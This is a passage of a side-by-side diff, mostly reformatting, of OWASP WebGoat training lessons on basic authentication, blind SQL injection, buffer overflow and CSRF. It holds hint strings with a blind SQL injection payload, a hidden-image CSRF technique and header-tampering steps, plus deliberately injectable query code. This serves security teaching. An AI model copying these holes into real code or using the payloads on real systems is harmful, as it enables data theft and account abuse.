.setMessage("Basic Authentication header name is incorrect.");
} }
if (headerValue.length() > 0 if (headerValue.length() > 0
&& !(headerValue.equals("guest:guest") || headerValue && !(headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat")))
.equals("webgoat:webgoat")))
{ {
s s.setMessage("Basic Authentication header value is incorrect.");
.setMessage("Basic Authentication header value is incorrect.");
} }
} }
// <END_OMIT_SOURCE> // <END_OMIT_SOURCE>
Table t = new Table(0).setCellSpacing(0).setCellPadding(0) Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
.setBorder(0);
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
@ -130,17 +120,11 @@ public class BasicAuthentication extends SequentialLessonAdapter
TR row1 = new TR(); TR row1 = new TR();
TR row2 = new TR(); TR row2 = new TR();
row1.addElement(new TD(new StringElement( row1.addElement(new TD(new StringElement("What is the name of the authentication header: ")));
"What is the name of the authentication header: "))); row2.addElement(new TD(new StringElement("What is the decoded value of the authentication header: ")));
row2
.addElement(new TD(
new StringElement(
"What is the decoded value of the authentication header: ")));
row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME, row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME, headerName.toString())));
headerName.toString()))); row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE, headerValue.toString())));
row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE,
headerValue.toString())));
t.addElement(row1); t.addElement(row1);
t.addElement(row2); t.addElement(row2);
@ -151,8 +135,7 @@ public class BasicAuthentication extends SequentialLessonAdapter
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
ec.addElement(b); ec.addElement(b);
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -161,7 +144,6 @@ public class BasicAuthentication extends SequentialLessonAdapter
return (ec); return (ec);
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -176,31 +158,28 @@ public class BasicAuthentication extends SequentialLessonAdapter
getLessonTracker(s, originalUser).setStage(1); getLessonTracker(s, originalUser).setStage(1);
getLessonTracker(s, originalUser).store(s, this); getLessonTracker(s, originalUser).store(s, this);
makeSuccess(s); makeSuccess(s);
s.setMessage("Close your browser and login as " + originalUser s.setMessage("Close your browser and login as " + originalUser + " to get your green stars back.");
+ " to get your green stars back.");
return ec; return ec;
} }
else else
{ {
// If we are still in the ORIGINAL_USER role see if the Basic Auth header has been manipulated // If we are still in the ORIGINAL_USER role see if the Basic Auth header has been
// manipulated
String originalAuth = getLessonTracker(s).getLessonProperties() String originalAuth = getLessonTracker(s).getLessonProperties()
.getProperty(ORIGINAL_AUTH, EMPTY_STRING); .getProperty(ORIGINAL_AUTH, EMPTY_STRING);
String originalSessionId = getLessonTracker(s) String originalSessionId = getLessonTracker(s).getLessonProperties()
.getLessonProperties().getProperty(JSESSIONID, .getProperty(JSESSIONID, s.getCookie(JSESSIONID));
s.getCookie(JSESSIONID));
// store the original user info in the BASIC properties files // store the original user info in the BASIC properties files
if (originalSessionId.equals(s.getCookie(JSESSIONID))) if (originalSessionId.equals(s.getCookie(JSESSIONID)))
{ {
// Store the original user name in the "basic" user properties file. We need to use // Store the original user name in the "basic" user properties file. We need to
// use
// the original user to access the correct properties file to update status. // the original user to access the correct properties file to update status.
// store the initial auth header // store the initial auth header
getLessonTracker(s).getLessonProperties().setProperty( getLessonTracker(s).getLessonProperties().setProperty(JSESSIONID, originalSessionId);
JSESSIONID, originalSessionId); getLessonTracker(s).getLessonProperties().setProperty(ORIGINAL_AUTH, s.getHeader(AUTHORIZATION));
getLessonTracker(s).getLessonProperties().setProperty( getLessonTracker(s, BASIC).getLessonProperties().setProperty(ORIGINAL_USER, s.getUserName());
ORIGINAL_AUTH, s.getHeader(AUTHORIZATION));
getLessonTracker(s, BASIC).getLessonProperties()
.setProperty(ORIGINAL_USER, s.getUserName());
getLessonTracker(s, BASIC).setStage(2); getLessonTracker(s, BASIC).setStage(2);
getLessonTracker(s, BASIC).store(s, this, BASIC); getLessonTracker(s, BASIC).store(s, this, BASIC);
} }
@ -214,8 +193,7 @@ public class BasicAuthentication extends SequentialLessonAdapter
// If the auth header is different but still the original user - tell the user // If the auth header is different but still the original user - tell the user
// that the original cookie was posted bak and basic auth uses the cookie before the // that the original cookie was posted bak and basic auth uses the cookie before the
// authorization token // authorization token
if (!originalAuth.equals("") if (!originalAuth.equals("") && !originalAuth.equals(s.getHeader(AUTHORIZATION)))
&& !originalAuth.equals(s.getHeader(AUTHORIZATION)))
{ {
ec ec
.addElement("You're almost there! You've modified the " .addElement("You're almost there! You've modified the "
@ -241,8 +219,7 @@ public class BasicAuthentication extends SequentialLessonAdapter
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -251,7 +228,6 @@ public class BasicAuthentication extends SequentialLessonAdapter
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the category attribute of the ForgotPassword object
* *
@ -263,7 +239,6 @@ public class BasicAuthentication extends SequentialLessonAdapter
return Category.AUTHENTICATION; return Category.AUTHENTICATION;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
@ -277,32 +252,22 @@ public class BasicAuthentication extends SequentialLessonAdapter
// switch ( stage ) // switch ( stage )
// { // {
// case 1: // case 1:
hints hints.add("Basic authentication uses a cookie to pass the credentials. "
.add("Basic authentication uses a cookie to pass the credentials. "
+ "Use a proxy to intercept the request. Look at the cookies."); + "Use a proxy to intercept the request. Look at the cookies.");
hints hints.add("Basic authentication uses Base64 encoding to 'scramble' the " + "user's login credentials.");
.add("Basic authentication uses Base64 encoding to 'scramble' the " hints.add("Basic authentication uses 'Authorization' as the cookie name to " + "store the user's credentials.");
+ "user's login credentials.");
hints
.add("Basic authentication uses 'Authorization' as the cookie name to "
+ "store the user's credentials.");
hints.add("Use WebScarab -> Tools -> Transcoder to Base64 decode the " hints.add("Use WebScarab -> Tools -> Transcoder to Base64 decode the "
+ "the value in the Authorization cookie."); + "the value in the Authorization cookie.");
// break; // break;
// case 2: // case 2:
hints hints.add("Basic authentication uses a cookie to pass the credentials. "
.add("Basic authentication uses a cookie to pass the credentials. "
+ "Use a proxy to intercept the request. Look at the cookies."); + "Use a proxy to intercept the request. Look at the cookies.");
hints hints.add("Before the WebServer requests credentials from the client, the current "
.add("Before the WebServer requests credentials from the client, the current "
+ "session is checked for validitity."); + "session is checked for validitity.");
hints hints.add("If the session is invalid the webserver will use the basic authentication credentials");
.add("If the session is invalid the webserver will use the basic authentication credentials"); hints.add("If the session is invalid and the basic authentication credentials are invalid, "
hints
.add("If the session is invalid and the basic authentication credentials are invalid, "
+ "new credentials will be requested from the client."); + "new credentials will be requested from the client.");
hints hints.add("Intercept the request and corrupt the JSESSIONID and the Authorization header.");
.add("Intercept the request and corrupt the JSESSIONID and the Authorization header.");
// break; // break;
// } // }
@ -311,13 +276,11 @@ public class BasicAuthentication extends SequentialLessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(100); private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *

94
main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -6,7 +7,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -16,38 +16,36 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Chuck Willis <a href="http://www.securityfoundry.com">Chuck's web * @author Chuck Willis <a href="http://www.securityfoundry.com">Chuck's web site</a> (this lesson
* site</a> (this lesson is heavily based on Bruce Mayhews' SQL * is heavily based on Bruce Mayhews' SQL Injection lesson
* Injection lesson
* @created January 14, 2005 * @created January 14, 2005
*/ */
public class BlindSqlInjection extends LessonAdapter public class BlindSqlInjection extends LessonAdapter
@ -85,17 +83,17 @@ public class BlindSqlInjection extends LessonAdapter
String answer_query; String answer_query;
if (runningOnWindows()) if (runningOnWindows())
{ {
answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
+ TARGET_ACCT_NUM; }
} else else
{ {
answer_query = "SELECT first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM; answer_query = "SELECT first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
} }
try try
{ {
Statement answer_statement = connection.createStatement( Statement answer_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(answer_query); ResultSet answer_results = answer_statement.executeQuery(answer_query);
answer_results.first(); answer_results.first();
System.out.println("Account: " + accountNumber); System.out.println("Account: " + accountNumber);
@ -103,28 +101,28 @@ public class BlindSqlInjection extends LessonAdapter
if (accountNumber.toString().equals(answer_results.getString(1))) if (accountNumber.toString().equals(answer_results.getString(1)))
{ {
makeSuccess(s); makeSuccess(s);
} else }
else
{ {
Statement statement = connection.createStatement( Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ec.addElement(new P().addElement("Account number is valid")); ec.addElement(new P().addElement("Account number is valid"));
} else }
else
{ {
ec.addElement(new P().addElement("Invalid account number")); ec.addElement(new P().addElement("Invalid account number"));
} }
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
ec.addElement(new P().addElement("An error occurred, please try again.")); ec.addElement(new P().addElement("An error occurred, please try again."));
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -155,9 +153,8 @@ public class BlindSqlInjection extends LessonAdapter
/** /**
* *
* Determines the OS that WebGoat is running on. Needed because different DB * Determines the OS that WebGoat is running on. Needed because different DB backends are used
* backends are used on the different OSes (Access on Windows, InstantDB on * on the different OSes (Access on Windows, InstantDB on others)
* others)
* *
* @return true if running on Windows, false otherwise * @return true if running on Windows, false otherwise
*/ */
@ -167,7 +164,8 @@ public class BlindSqlInjection extends LessonAdapter
if (os.toLowerCase().indexOf("window") != -1) if (os.toLowerCase().indexOf("window") != -1)
{ {
return true; return true;
} else }
else
{ {
return false; return false;
} }
@ -192,20 +190,16 @@ public class BlindSqlInjection extends LessonAdapter
+ "on the Internet since different databases use some different functions and syntax."); + "on the Internet since different databases use some different functions and syntax.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> " hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber "); + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL functions: " + "You will need to make use of the following SQL functions: "
+ "<br><br>SELECT - query for your target data and get a string " + "<br><br>SELECT - query for your target data and get a string "
+ "<br><br>mid(string, start, length) - returns a " + "<br><br>mid(string, start, length) - returns a "
+ "substring of string starting at the start character and going for length characters " + "substring of string starting at the start character and going for length characters "
+ "<br><br>asc(string) will return the ascii value of the first character in string " + "<br><br>asc(string) will return the ascii value of the first character in string "
+ "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one"); + "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one");
hints hints.add("Example: is the first character of the first_name of userid " + TARGET_ACCT_NUM
.add("Example: is the first character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " less than 'M' (ascii 77)? " + " less than 'M' (ascii 77)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid=" + "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM
+ TARGET_ACCT_NUM
+ ") , 1 , 1) ) < 77 ); " + ") , 1 , 1) ) < 77 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is" + "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
+ "invalid then answer is no."); + "invalid then answer is no.");
@ -218,10 +212,10 @@ public class BlindSqlInjection extends LessonAdapter
+ ") , 2 , 1) ) > 109 ); " + ") , 2 , 1) ) > 109 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is " + "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no."); + "invalid then answer is no.");
} else }
else
{ {
hints hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then " + "Create a SQL statement that you can use as a true/false test and then "
+ "select the first character of the target element and do a start narrowing " + "select the first character of the target element and do a start narrowing "
+ "down the character using > and <"); + "down the character using > and <");
@ -270,8 +264,7 @@ public class BlindSqlInjection extends LessonAdapter
String instructions = "The form below allows a user to enter an account number and determine if " String instructions = "The form below allows a user to enter an account number and determine if "
+ "it is valid or not. Use this form to develop a true / false test check other entries in the database. " + "it is valid or not. Use this form to develop a true / false test check other entries in the database. "
+ "<br><br>Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 " + "<br><br>Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 "
+ "<br><br>The goal is to find the value of " + "<br><br>The goal is to find the value of " + "the first_name in table user_data for userid "
+ "the first_name in table user_data for userid "
+ TARGET_ACCT_NUM + TARGET_ACCT_NUM
+ ". Put the discovered name in the form to pass the lesson. Only the discovered name " + ". Put the discovered name in the form to pass the lesson. Only the discovered name "
+ "should be put into the form field, paying close attention to the spelling and capitalization."; + "should be put into the form field, paying close attention to the spelling and capitalization.";
@ -307,8 +300,7 @@ public class BlindSqlInjection extends LessonAdapter
try try
{ {
super.handleRequest(s); super.handleRequest(s);
} } catch (Exception e)
catch (Exception e)
{ {
System.out.println("Exception caught: " + e); System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);

45
main/project/JavaSource/org/owasp/webgoat/lessons/BufferOverflow.java
View File

@ -1,39 +1,37 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -46,7 +44,8 @@ public class BufferOverflow extends LessonAdapter
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -55,7 +54,6 @@ public class BufferOverflow extends LessonAdapter
return super.createContent(s); return super.createContent(s);
} }
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the category attribute of the ForgotPassword object
* *
@ -67,7 +65,6 @@ public class BufferOverflow extends LessonAdapter
return Category.BUFFER_OVERFLOW; return Category.BUFFER_OVERFLOW;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
@ -84,13 +81,11 @@ public class BufferOverflow extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(15); private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
@ -101,10 +96,8 @@ public class BufferOverflow extends LessonAdapter
return ("Buffer Overflow"); return ("Buffer Overflow");
} }
public Element getCredits() public Element getCredits()
{ {
return new StringElement( return new StringElement("This screen created by: Your name could go here");
"This screen created by: Your name could go here");
} }
} }

102
main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -6,7 +7,6 @@ import java.sql.ResultSet;
import java.sql.Statement; import java.sql.Statement;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -24,39 +24,40 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a> * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
*
*/ */
public class CSRF extends LessonAdapter { public class CSRF extends LessonAdapter
{
private final static String MESSAGE = "message"; private final static String MESSAGE = "message";
private final static int MESSAGE_COL = 3; private final static int MESSAGE_COL = 3;
@ -66,14 +67,16 @@ public class CSRF extends LessonAdapter {
private final static String TITLE = "title"; private final static String TITLE = "title";
private final static int TITLE_COL = 2; private final static int TITLE_COL = 2;
private static int count = 1; private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted message private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( // message
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
/** /**
* Adds a feature to the Message attribute of the MessageBoardScreen object * Adds a feature to the Message attribute of the MessageBoardScreen object
* *
* @param s The feature to be added to the Message attribute * @param s
* The feature to be added to the Message attribute
*/ */
protected void addMessage(WebSession s) protected void addMessage(WebSession s)
{ {
@ -86,22 +89,23 @@ public class CSRF extends LessonAdapter {
String query = "INSERT INTO messages VALUES (?, ?, ?, ? )"; String query = "INSERT INTO messages VALUES (?, ?, ?, ? )";
PreparedStatement statement = connection.prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, count++); statement.setInt(1, count++);
statement.setString(2, title); statement.setString(2, title);
statement.setString(3, message); statement.setString(3, message);
statement.setString(4, s.getUserName()); statement.setString(4, s.getUserName());
statement.executeUpdate(); statement.execute();
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage("Could not add message to database"); s.setMessage("Could not add message to database");
} }
} }
@Override @Override
protected Element createContent(WebSession s) { protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
addMessage(s); addMessage(s);
@ -117,7 +121,8 @@ public class CSRF extends LessonAdapter {
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeInput(WebSession s) protected Element makeInput(WebSession s)
@ -153,7 +158,8 @@ public class CSRF extends LessonAdapter {
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
public Element makeList(WebSession s) public Element makeList(WebSession s)
@ -164,9 +170,11 @@ public class CSRF extends LessonAdapter {
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery( STANDARD_QUERY + " WHERE user_name LIKE '" + getNameroot( s.getUserName() ) + "%'" ); ResultSet results = statement.executeQuery(STANDARD_QUERY + " WHERE user_name LIKE '"
+ getNameroot(s.getUserName()) + "%'");
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
@ -174,15 +182,14 @@ public class CSRF extends LessonAdapter {
for (int i = 0; results.next(); i++) for (int i = 0; results.next(); i++)
{ {
String link = "<a href='" + getLink() + "&" + NUMBER + "=" + results.getInt( NUM_COL ) + String link = "<a href='" + getLink() + "&" + NUMBER + "=" + results.getInt(NUM_COL)
"' style='cursor:hand'>" + results.getString( TITLE_COL ) + "</a>"; + "' style='cursor:hand'>" + results.getString(TITLE_COL) + "</a>";
TD td = new TD().addElement(link); TD td = new TD().addElement(link);
TR tr = new TR().addElement(td); TR tr = new TR().addElement(td);
t.addElement(tr); t.addElement(tr);
} }
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage("Error while getting message list."); s.setMessage("Error while getting message list.");
} }
@ -196,14 +203,14 @@ public class CSRF extends LessonAdapter {
makeSuccess(s); makeSuccess(s);
} }
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeCurrent(WebSession s) protected Element makeCurrent(WebSession s)
@ -217,7 +224,8 @@ public class CSRF extends LessonAdapter {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?"; String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?";
PreparedStatement statement = connection.prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setString(1, getNameroot(s.getUserName()) + "%"); statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setInt(2, messageNum); statement.setInt(2, messageNum);
ResultSet results = statement.executeQuery(); ResultSet results = statement.executeQuery();
@ -250,8 +258,7 @@ public class CSRF extends LessonAdapter {
} }
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -261,26 +268,29 @@ public class CSRF extends LessonAdapter {
} }
@Override @Override
protected Category getDefaultCategory() { protected Category getDefaultCategory()
{
return Category.XSS; return Category.XSS;
} }
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
@Override @Override
protected Integer getDefaultRanking() { protected Integer getDefaultRanking()
{
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
@Override @Override
protected List<String> getHints(WebSession s) { protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Enter some text and try to include an image in there."); hints.add("Enter some text and try to include an image in there.");
hints.add("In order to make the picture almost invisible try to add width=\"1\" and height=\"1\"."); hints.add("In order to make the picture almost invisible try to add width=\"1\" and height=\"1\".");
hints.add("The format of an image in html is <pre>&lt;img src=\"[URL]\" width=\"1\" height=\"1\" /&gt;</pre>"); hints.add("The format of an image in html is <pre>&lt;img src=\"[URL]\" width=\"1\" height=\"1\" /&gt;</pre>");
hints.add( "Include this URL in the message <pre>&lt;img src='" + getLink() + hints.add("Include this URL in the message <pre>&lt;img src='" + getLink()
